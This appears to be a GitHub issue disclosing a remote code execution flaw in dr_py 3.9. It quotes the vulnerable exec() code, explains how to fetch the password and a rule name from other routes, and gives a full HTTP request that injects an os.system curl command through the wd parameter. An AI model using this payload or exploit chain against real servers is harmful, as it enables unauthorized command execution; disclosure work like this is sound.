Skip to content
This repository was archived by the owner on Jul 8, 2024. It is now read-only.
This repository was archived by the owner on Jul 8, 2024. It is now read-only.

There is a code execution vulnerability in dr_py 3.9. #49

@Northind

Description

@Northind

A code execution vulnerability in controllers.cms.CMS.searchContent allows an attacker to unconditionally execute system commands.
The relevant code is as follows.

    if wd:  # 搜索
        if rule == 'drpy':
            print(f'准备单独处理聚合搜索:{wd}')
            return multi_search(wd)
            # return multi_search2(wd)
        else:
            data = cms.searchContent(wd, pg)
            # print(data)
            return jsonify(data)

After code audit, in order to get here, the following three parameters need to be passed: pwd, rule, wd.
The pwd parameter must be verified with js0_password = lsg.getItem('JS0_PASSWORD', cfg.get('JS0_PASSWORD', '')). If they are consistent, you can go down. Otherwise, it will exit and report 403.
The rule parameter must be checked against the rules in rule_list to pass, otherwise it will exit.
The wd parameter is the payload to be passed in.
Obtain all fields that can query storage_service through the /info route, including JS0_PASSWORD
image

For the rule parameter, you only need to ensure that it exists in rule_list. You can get the rule list by accessing the /rules/view route. You can select one of several rules. The one selected here is AnFuns.
image
The last is the wd parameter, because the vulnerability code is like this,

if url.find('fypage') > -1:
    if '(' in url and ')' in url:
        # url_rep = url[url.find('('):url.find(')')+1]
        # cnt_page = url.split('(')[1].split(')')[0].replace('fypage',pg)
        # print(url_rep)
        url_rep = re.search('.*?\((.*)\)', url, re.M | re.S).groups()[0]
        cnt_page = url_rep.replace('fypage', pg)
        # print(url_rep)
        # print(cnt_page)
        cnt_ctx = {}
        exec(f'cnt_pg={cnt_page}', cnt_ctx)
        cnt_pg = str(cnt_ctx['cnt_pg'])  # 计算表达式的结果
        url = url.replace(url_rep, str(cnt_pg)).replace('(', '').replace(')', '')
        # print(url)

So you need to put the actual payload in () brackets, the request is as follows.

GET /vod?pwd=dzyyds&rule=AnFuns&wd=(1111;import%20os;os.system("curl%20127.0.0.1:9999")) HTTP/1.1
Host: 127.0.0.1:5705
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: sid=71884250c4b04a0c9c5827090c2553a8; token=b962db9103003a2a8b52d1fe5f33c7d4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions